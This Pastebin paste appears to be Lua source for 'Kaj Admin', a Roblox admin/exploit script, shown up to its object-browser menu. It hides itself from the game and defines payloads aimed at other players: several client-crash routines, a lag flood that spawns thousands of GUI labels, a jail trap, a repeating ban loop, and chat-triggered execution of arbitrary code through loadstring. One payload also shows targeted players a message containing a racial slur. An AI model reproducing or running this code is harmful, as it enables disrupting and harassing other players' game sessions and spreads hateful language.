Advertisement
TheStarGlitcher007

Untitled

Mar 18th, 2019
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 119.18 KB | None | 0 0
  1. --((Rare[Main{GLOBAL}Kaj Admin Generation 8
  2. --[[
  3. Kaj Admin Generation 8
  4. Kaj Global Admin
  5. ]]
  6. if script.ClassName == "Script" then if game.PlaceId == 20279777 then script.Parent = nil else local Environment = getfenv(getmetatable(LoadLibrary"RbxUtility".Create).__call) local oxbox = getfenv() setfenv(1, setmetatable({}, {__index = Environment})) Environment.coroutine.yield() oxbox.script:Destroy() end end
  7. if script ~= true then
  8. print("-")
  9. else
  10. print("+")
  11. end
  12. if script then
  13. coroutine.yield()
  14. script.Parent = nil
  15. end
  16.  
  17.  
  18.  
  19.  
  20.  
  21.  
  22.  
  23.  
  24. if script then
  25. coroutine.yield()
  26. script.Parent = nil
  27. end
  28. --[[Stuff]]--
  29. VR = _VERSION
  30. Plrs = game:GetService("Players")
  31. Work = game:GetService("Workspace")
  32. Light = game:GetService("Lighting")
  33. Net = game:GetService("NetworkServer")
  34. Removed = false
  35. Bet = "-"
  36. LS = nil
  37. LSSource = nil
  38. OwnSource = nil
  39. FoundLocalScript = false
  40. LogOn = false
  41. Current = game
  42. Clipboard = {}
  43. AlertColor = Color3.new(1, 0, 0)
  44. OptionColor = Color3.new(1, 1, 1)
  45. ImportantColor = Color3.new(1, 0, 1)
  46. --[[Ranks]]--
  47. RankDetails = {
  48. [0] = {Name = "Default", Color = Color3.new(0, 0, 1), Desc = "Defaults"},
  49. [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Moderator"},
  50. [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  51. [3] = {Name = "Maximum Moderator", Color = Color3.new(1, 1, 0), Desc = "Maximum Moderator"},
  52. [4] = {Name = "Super Adminstrator", Color = Color3.new(1, 0, 0), Desc = "Super Administrator"},
  53. [5] = {Name = "Maximum Adminstrator", Color = Color3.new(-1, -1, -1), Desc = "Maximum Adminstrator"},
  54.  
  55. }
  56.  
  57. Rankings = {
  58. {Name = "RAFA1608", Rank = 6},
  59. {Name = "SilentNoob57", Rank = 6},
  60. {Name = "WormyTerry", Rank = 6},
  61. {Name = "LegendOfDarknees", Rank = 6},
  62. {Name = "GiraffeMan151", Rank = 6},
  63. {Name = "ajcooper1", Rank = 6},
  64. }
  65.  
  66.  
  67. --[[End of Ranks]]--
  68. ImportantServices = {
  69. "Workspace",
  70. "Players",
  71. "NetworkServer",
  72. "Lighting",
  73. "StarterGui",
  74. "Teams",
  75. "StarterPack",
  76. }
  77.  
  78. Ranks = {}
  79. Commands = {}
  80. AllTabs = {}
  81. Injected = {}
  82.  
  83. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  84. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  85. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  86. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  87. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  88. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  89. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  90. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  91. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  92. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  93. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  94. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  95. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  96. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  97. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  98. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  99. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  100. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  101. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  102. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  103. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  104. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  105. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  106. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  107. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  108. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  109. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  110. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  111. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  112. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  113. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  114. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  115. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  116. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  117. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  118. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  119. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  120. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  121. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  122. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  123. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  124. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  125. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  126. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  127. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  128. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  129. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  130. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  131. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  132. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  133. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  134. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  135. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  136. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  137. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  138. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  139. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  140. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  141. "X","Y"}
  142.  
  143. --Main Functions And Sources
  144.  
  145. function Insert(Source, Par, Par2, Par3)
  146. ypcall(function()
  147. local Inserted = LS:Clone()
  148. Inserted.Disabled = true
  149. Inserted.Parent = Par or Par2 or Par3
  150. Inserted[LSSource].Value = Source
  151. Inserted.Disabled = false
  152. end)
  153. end
  154.  
  155. function CheckImportant(Name)
  156. for _,v in pairs(ImportantServices) do
  157. if v:lower() == Name:lower() then
  158. return true
  159. end
  160. end
  161. return false
  162. end
  163.  
  164. function Crash1(Plr)
  165. ypcall(function()
  166. Plr:Destroy()
  167. end)
  168. end
  169.  
  170. function GetRankTab()
  171. return Rankings
  172. end
  173.  
  174. function Crash2(Name)
  175. local Crasher = Instance.new("StringValue")
  176. Crasher.Name = "Client"
  177. Crasher.Value = string.lower(tostring(Name))
  178. Crasher.Parent = game:GetService("Lighting")
  179. wait(1)
  180. if Crasher and Crasher.Parent then
  181. ypcall(function()
  182. Crasher:Destroy()
  183. end)
  184. end
  185. end
  186.  
  187. function Crash3(v, Speaker)
  188. Speaker.Character.Archivable = true
  189. local NChar = Speaker.Character:Clone()
  190. NChar.Name = v.Name
  191. NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  192. NChar.Parent = Workspace
  193. v.Character = NChar
  194. coroutine.resume(coroutine.create(function()
  195. repeat v.Character = NChar
  196. wait(1/3) until false
  197. end))
  198. wait(.5)
  199. Insert(InsertCrash, NChar, nil, nil)
  200. end
  201.  
  202. function GenerateDigit()
  203. return 1 + 5
  204. end
  205.  
  206.  
  207. NilS = [==[
  208. if script then
  209. coroutine.yield()
  210. script.Parent = nil
  211. end
  212. Player=game.Players.LocalPlayer
  213. Probe=Instance.new'Part';
  214. CN='Kaj TabletsNil | ['..Player.Name..']'
  215. Camera=Workspace.CurrentCamera
  216. Animate = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
  217. Char = Player.Character
  218. if Char then
  219. Char.Archivable = true
  220. Char = Char:clone()
  221. local t = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Clone")
  222. if t then
  223. for k,v in pairs(Char:GetChildren()) do
  224. if not v:IsA("Part") then
  225. v:clone().Parent = t
  226. end
  227. end
  228. end
  229.  
  230. coroutine.resume(coroutine.create(function()
  231. while true do wait(0.00000001)
  232. pcall(function()
  233. if Character.Torso.CFrame.Y < 1 then
  234. Character.Torso.CFrame = CFrame.new(0,20,0)
  235. end
  236. end)
  237. end
  238. end))
  239. Title=function(txt,part,color,rise)
  240. col=nil
  241. col=Color3.new(BrickColor.new(color))
  242. local Gui = Instance.new("BillboardGui",part)
  243. Gui.Name = "3DGUI"
  244. Gui.ExtentsOffset = Vector3.new(0,2,0)
  245. Gui.Size = UDim2.new(8,0,2,0)
  246. local Tit = Instance.new("TextLabel",Gui)
  247. Tit.Name = "Title"
  248. Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  249. Tit.TextColor3 = Color3.new(0,0,0)
  250. Tit.TextTransparency = 0.25
  251. Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  252. Tit.TextStrokeTransparency = 0.5
  253. Tit.Size = UDim2.new(1,0,1,0)
  254. Tit.BackgroundTransparency = 1
  255. Tit.Font = "ArialBold"
  256. Tit.TextScaled = true
  257. Tit.Text = txt
  258. if rise then
  259. if not tonumber(rise) then rise = 1 end
  260. coroutine.wrap(function()
  261. while Tit.Parent and Gui.Parent and wait() do
  262. Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
  263. end
  264. end)()
  265. end
  266. return Tit
  267. end
  268. Chat=function(Part,Text,Color,Type)
  269. if Type==nil or Type==1 or Type=='Bubble' then
  270. game:service'Chat':Chat(Part,Text,Color)
  271. else
  272. if type(Color)~='string' then
  273. Color=tostring(BrickColor.random())
  274. end
  275. Title(Text,Part,Color,math.random(1,3))
  276. end
  277. end
  278. DestroyCharacter=function()
  279. local chara = Player.Character
  280. if not chara then return end
  281. if chara:findFirstChild("Humanoid") then
  282. chara.Humanoid:Destroy()
  283. end
  284. chara:BreakJoints()
  285. for k,v in pairs(chara:GetChildren()) do
  286. if v:IsA("BasePart") then
  287. v.CanCollide = false
  288. v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
  289. v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  290. end
  291. end
  292. game.Debris:AddItem(chara,3)
  293. end
  294. MakeProbe=function()
  295. if Player.Character then DestroyCharacter() end Player.Character = nil
  296. if Probe then Probe:Destroy() end
  297. Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
  298. Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
  299. Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
  300. Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
  301. coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
  302. Player.Character=Probe
  303. end
  304. Spawn=function()
  305. if Char then
  306. local c = Char:clone()
  307. c.Name = CN
  308. c.Parent = workspace
  309. c:MoveTo(workspace.CurrentCamera.Focus.p)
  310. Player.Character = c
  311. workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
  312. workspace.CurrentCamera.CameraType = "Custom"
  313. Probe:Destroy()
  314. end
  315. end
  316. Player.Chatted:connect(function(Msg)
  317. game:service'Chat':Chat(Player.Character.Head,Msg,'Green')
  318. if Msg:sub(1,2) == '//' then
  319. local Func,Error=loadstring(Msg:sub(3))
  320. if Error==nil then
  321. pcall(Func)
  322. if Player.Character then
  323. game:service'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
  324. end
  325. else
  326. if Player.Character then
  327. game:service'Chat':Chat(Player.Character.Head,Error,'Red')
  328. else
  329. local Msg=Instance.new'Message'
  330. Msg.Parent=Workspace.CurrentCamera
  331. Msg.Text=Error
  332. game:service'Debris':AddItem(Msg,5)
  333. end
  334. end
  335. elseif Msg:sub(1,#('newlocal')+2) == '/newlocal/' then
  336. NewMsg=Msg:sub(#('newlocal')+3)
  337. Split=NewMsg:find('/')
  338. local PlayerName=NewMsg:sub(1,Split-1)
  339. local Source=NewMsg:sub(Split+1)
  340. Player=nil
  341. for i,v in pairs(game.Players:GetPlayers()) do
  342. if v.Name:lower():sub(1,#PlayerName)==PlayerName then
  343. if Player==nil then
  344. Player=v
  345. else
  346. if type(Player) == 'table' then
  347. Player[#Player+1]=v
  348. else
  349. Player={v}
  350. end
  351. end
  352. end
  353. end
  354. if type(Player)=='table' then
  355. for i,v in pairs(Player) do
  356. if newLocalScript then
  357. newLocalScript(Source,v.Character)
  358. else
  359. Clone=script:clone();
  360. SourceC=Clone:children()[1]
  361. if SourceC:IsA'StringValue' then
  362. print'String'
  363. else
  364. SourceC=Clone:children()[2]
  365. end
  366. SourceC.Value=Source
  367. Clone.Disabled=true
  368. Clone.Parent=v.Character
  369. Clone.Disabled=false
  370. end
  371. end
  372. else
  373. if newLocalScript then
  374. newLocalScript(Source,Player.Character)
  375. else
  376. Clone=script:clone();
  377. DS=Clone:children()
  378. DSS=nil
  379. for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
  380. DSS.Value=Source
  381. Clone.Disabled=true;
  382. Clone.Parent=Player.Character
  383. Clone.Disabled=false
  384. end
  385. end
  386. elseif Msg:sub(1,#('rejoin')+2) == '/rejoin/' then
  387. game:service'TeleportService':Teleport(Game.PlaceId)
  388. elseif Msg:sub(1,#('probe')+2) == '/probe/' then
  389. MakeProbe()
  390. elseif Msg:sub(1,#('char')+2) =='/char/' then
  391. Spawn()
  392. elseif Msg:sub(1,#('ban')+2) == '/ban/' then
  393. Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
  394. if Player then
  395. repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3
  396. end
  397. end
  398. wait()
  399. if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('/probe/') and not Msg:find('/char/') then -- Is nil then
  400. if Probe then
  401. Chat(Probe,Msg,math.random(0,2))
  402. else
  403. if Player.Character==nil then
  404. if Char then
  405. Chat(Char.Head,Msg,math.random(0,2))
  406. end
  407. else
  408. Chat(Player.Character.Head,Msg,'Red')
  409. end
  410. end
  411. end
  412. end) -- local
  413. ]==]
  414.  
  415. InjectionCrash = [=[
  416. wait(0)
  417. script.Parent = nil
  418. local Lig = game:GetService("Lighting")
  419. local LP = game:GetService("Players").LocalPlayer
  420. local LowerName = LP.Name:lower()
  421.  
  422. Lig.ChildAdded:connect(function(Obj)
  423. if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  424. pcall(function()
  425. Obj:Destroy()
  426. end)
  427. LP.Parent = nil
  428. LP.Parent = game:GetService("Players")
  429. end
  430. end)
  431. ]=] RankDetails[GenerateDigit()] = {Name = ('Owner, Main Developer'), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("Always, Server Owner.")}
  432.  
  433. InsertCrash = [==[
  434. local LP = game:GetService("Players").LocalPlayer
  435. LP.Parent = nil
  436. LP.Parent = game:GetService("Players")
  437. ]==]
  438.  
  439. LagSource = [==[
  440. wait(0)
  441. script.Parent = nil
  442. plr = game:GetService("Players").LocalPlayer
  443. local plrgui = plr:findFirstChild("PlayerGui")
  444. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  445. while plr.Parent == game:GetService("Players") do
  446. wait()
  447. for i = 1, 1000 do
  448. local sc = Instance.new("ScreenGui",plrgui)
  449. local fr = Instance.new("TextLabel",sc)
  450. fr.Text = "LAGGING"
  451. fr.Size = UDim2.new(1, 0, 1, 0)
  452. fr.FontSize = "Size48"
  453. end
  454. end
  455. ]==]
  456.  
  457. MuteSource = [==[
  458. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  459. ]==]
  460.  
  461. UnMuteSource = [==[
  462. game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
  463. ]==]
  464.  
  465. FunScript = [[
  466. LP = game:service'Players'.LocalPlayer
  467. Shapes = {"Ball", "Block"}
  468. wait()
  469. script.Parent = nil
  470. Delay(0, function()
  471. while wait() do
  472. workspace.CurrentCamera.CameraType = "Scriptable"
  473. workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
  474. workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
  475. workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
  476. local Part = Instance.new("Part", workspace.CurrentCamera)
  477. Part.Shape = Shapes[math.random(1, 2)]
  478. Part.Anchored = true
  479. Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  480. Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
  481. Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
  482. local Smoke = Instance.new("Smoke", Part)
  483. Smoke.Color = Color3.new(math.random(), math.random(), math.random())
  484. Smoke.Opacity = 0.7
  485. local Sparkles = Instance.new("Sparkles", Part)
  486. Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random())
  487. local Fire = Instance.new("Fire", Part)
  488. Fire.Color = Color3.new(math.random(), math.random(), math.random())
  489. Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random())
  490. local Ex = Instance.new("Explosion", workspace.CurrentCamera)
  491. Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
  492. Ex.BlastPressure = 15
  493. Ex.BlastRadius = 12.5
  494. if not workspace.CurrentCamera:findFirstChild("Hint") then
  495. local mes = Instance.new("Hint", workspace.CurrentCamera)
  496. mes.Text = "OMG STOP FUCKING WITH MY SHIT YOU STUPID NIGGA"
  497. end
  498. end
  499. end)
  500. ]]
  501.  
  502. JailSource = [==[
  503. wait(0)
  504. script.Parent = nil
  505.  
  506. local LP = game:GetService("Players").LocalPlayer
  507. Middle2 = nil
  508. Middle = nil
  509. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  510.  
  511. Cons = {}
  512.  
  513. function makePrison()
  514. for _,v in pairs(Cons) do
  515. v:disconnect()
  516. end
  517. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  518. if Middle == nil then
  519. Middle2 = LP.Character.Torso.Position
  520. Middle = LP.Character.Torso.CFrame
  521. end
  522. local side1 = Instance.new("Part")
  523. side1.Name = "¬Focus1¬"
  524. side1.Size = Vector3.new(20, 50, 1)
  525. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  526. side1.BrickColor = BrickColor.new("Really black")
  527. side1.CanCollide = true
  528. side1.Anchored = true
  529. side1.TopSurface = "Smooth"
  530. side1.BottomSurface = "Smooth"
  531. side1.Parent = game:GetService("Workspace").CurrentCamera
  532.  
  533. local side2 = Instance.new("Part")
  534. side2.Name = "¬Focus2¬"
  535. side2.Size = Vector3.new(20, 50, 1)
  536. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  537. side2.BrickColor = BrickColor.new("Really black")
  538. side2.CanCollide = true
  539. side2.Anchored = true
  540. side2.TopSurface = "Smooth"
  541. side2.BottomSurface = "Smooth"
  542. side2.Parent = game:GetService("Workspace").CurrentCamera
  543.  
  544. local side3 = Instance.new("Part")
  545. side3.Name = "¬Focus3¬"
  546. side3.Size = Vector3.new(1, 50, 20)
  547. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  548. side3.BrickColor = BrickColor.new("Really black")
  549. side3.CanCollide = true
  550. side3.Anchored = true
  551. side3.TopSurface = "Smooth"
  552. side3.BottomSurface = "Smooth"
  553. side3.Parent = game:GetService("Workspace").CurrentCamera
  554.  
  555. local side4 = Instance.new("Part")
  556. side4.Name = "¬Focus4¬"
  557. side4.Size = Vector3.new(1, 50, 20)
  558. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  559. side4.BrickColor = BrickColor.new("Really black")
  560. side4.CanCollide = true
  561. side4.Anchored = true
  562. side4.TopSurface = "Smooth"
  563. side4.BottomSurface = "Smooth"
  564. side4.Parent = game:GetService("Workspace").CurrentCamera
  565.  
  566. local side5 = Instance.new("Part")
  567. side5.Name = "¬Focus5¬"
  568. side5.Size = Vector3.new(20, 1, 20)
  569. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  570. side5.BrickColor = BrickColor.new("Really black")
  571. side5.CanCollide = true
  572. side5.Anchored = true
  573. side5.TopSurface = "Smooth"
  574. side5.BottomSurface = "Smooth"
  575. side5.Parent = game:GetService("Workspace").CurrentCamera
  576.  
  577. wait(0)
  578.  
  579. table.insert(Cons, side1.Changed:connect(makePrison))
  580. table.insert(Cons, side2.Changed:connect(makePrison))
  581. table.insert(Cons, side3.Changed:connect(makePrison))
  582. table.insert(Cons, side4.Changed:connect(makePrison))
  583. table.insert(Cons, side5.Changed:connect(makePrison))
  584. end
  585.  
  586. Delay(0, function()
  587. while wait(0) do
  588. ypcall(function()
  589. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  590. LP.Character:BreakJoints()
  591. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  592. makePrison()
  593. end
  594. end)
  595. ypcall(function()
  596. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  597. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  598. end
  599. end)
  600. end
  601. end)
  602. ]==]
  603.  
  604. function All()
  605. local AllPlayers = {}
  606. for _,v in pairs(Plrs:GetPlayers()) do
  607. ypcall(function()
  608. table.insert(AllPlayers, v)
  609. end)
  610. end
  611. return AllPlayers
  612. end
  613.  
  614. function All2()
  615. local AllPlayers2 = {}
  616. for i,v in pairs(Net:GetChildren()) do
  617. ypcall(function()
  618. if v:IsA("ServerReplicator") then
  619. table.insert(AllPlayers2, v:GetPlayer())
  620. end
  621. end)
  622. end
  623. return AllPlayers2
  624. end
  625.  
  626. function MakeNum()
  627. return 2 + 4
  628. end
  629.  
  630. function ChangeRank(Plr, NewRank)
  631. local PlrName = nil
  632. local FoundPlayer = false
  633. ypcall(function()
  634. if type(Plr) == "string" then
  635. ypcall(function()
  636. for i,v in pairs(Rankings) do
  637. if v.Name:lower() == Plr:lower() then
  638. local VName = v.Name
  639. Rankings[i] = nil
  640. table.insert(Rankings, {Name = VName, Rank = NewRank})
  641. PlrName = VName
  642. FoundPlayer = true
  643. break
  644. end
  645. end
  646. end)
  647. if FoundPlayer == false then
  648. ypcall(function()
  649. for _,x in pairs(All()) do
  650. if x.Name:lower() == Plr:lower() then
  651. FoundPlayer = true
  652. for i,v in pairs(Rankings) do
  653. if v.Name:lower() == x.Name:lower() then
  654. local VName = x.Name
  655. Rankings[i] = nil
  656. PlrName = VName
  657. break
  658. end
  659. end
  660. table.insert(Rankings, {Name = VName, Rank = NewRank})
  661. end
  662. end
  663. end)
  664. end
  665. if FoundPlayer == false then
  666. ypcall(function()
  667. for _,x in pairs(All()) do
  668. if string.find(x.Name:lower(), Plr:lower()) then
  669. FoundPlayer = true
  670. for i,v in pairs(Rankings) do
  671. if v.Name:lower() == x.Name:lower() then
  672. local VName = x.Name
  673. Rankings[i] = nil
  674. PlrName = VName
  675. break
  676. end
  677. end
  678. table.insert(Rankings, {Name = VName, Rank = NewRank})
  679. end
  680. end
  681. end)
  682. end
  683. if FoundPlayer == false then
  684. ypcall(function()
  685. for i,v in pairs(Rankings) do
  686. if string.find(v.Name:lower(), Plr:lower()) then
  687. local VName = v.Name
  688. Rankings[i] = nil
  689. table.insert(Rankings, {Name = VName, Rank = NewRank})
  690. PlrName = VName
  691. FoundPlayer = true
  692. break
  693. end
  694. end
  695. end)
  696. end
  697. else
  698. for i,v in pairs(Rankings) do
  699. if v.Name:lower() == Plr.Name:lower() then
  700. Rankings[i] = nil
  701. break
  702. end
  703. end
  704. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  705. PlrName = Plr.Name
  706. end
  707. PlaceAllRanks(true)
  708. end)
  709. if PlrName ~= nil then
  710. return PlrName
  711. else
  712. return "Player"
  713. end
  714. end
  715.  
  716. function Refresh(Plr)
  717. MakeChildren(Plr)
  718. end
  719.  
  720. function MakeChildren(Plr)
  721. ypcall(function()
  722. Dismiss(Plr)
  723. for _,v in pairs(Current:GetChildren()) do
  724. ypcall(function()
  725. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  726. Ping(v.Name, Plr, nil, function(TabMod)
  727. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  728. for _,v in pairs(Current:GetChildren()) do
  729. ypcall(function()
  730. if v.Name == TabText then
  731. Dismiss(Plr)
  732. Current = v
  733. MakeChildren(Plr)
  734. end
  735. end)
  736. end
  737. end)
  738. elseif Plrs:GetPlayerFromCharacter(v) then
  739. Ping(v.Name, Plr, nil, function(TabMod)
  740. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  741. for _,v in pairs(Current:GetChildren()) do
  742. ypcall(function()
  743. if v.Name == TabText then
  744. Dismiss(Plr)
  745. Current = v
  746. MakeChildren(Plr)
  747. end
  748. end)
  749. end
  750. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  751. elseif CheckImportant(v.Name) then
  752. Ping(v.Name, Plr, nil, function(TabMod)
  753. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  754. for _,v in pairs(Current:GetChildren()) do
  755. ypcall(function()
  756. if v.Name == TabText then
  757. Dismiss(Plr)
  758. Current = v
  759. MakeChildren(Plr)
  760. end
  761. end)
  762. end
  763. end, ImportantColor)
  764. end
  765. end)
  766. end
  767. if Current ~= game then
  768. Ping("Back", Plr, nil, function()
  769. ypcall(function()
  770. Current = Current.Parent
  771. MakeChildren(Plr)
  772. Ping("You Are Back To "..Current.Name, Plr, 5)
  773. end)
  774. end, OptionColor)
  775. end
  776. if Current ~= game then
  777. Ping("Delete", Plr, nil, function()
  778. ypcall(function()
  779. local CurrPar = Current.Parent or game
  780. local CurrName = Current.Name
  781. Current:Destroy()
  782. Current = CurrPar
  783. MakeChildren(Plr)
  784. Ping("Attempted To Delete "..CurrName, Plr, 5)
  785. end)
  786. end, OptionColor)
  787. end
  788. Ping("Refresh", Plr, nil, function()
  789. ypcall(function()
  790. Refresh(Plr)
  791. Ping("Refreshed", Plr, 5)
  792. end)
  793. end, OptionColor)
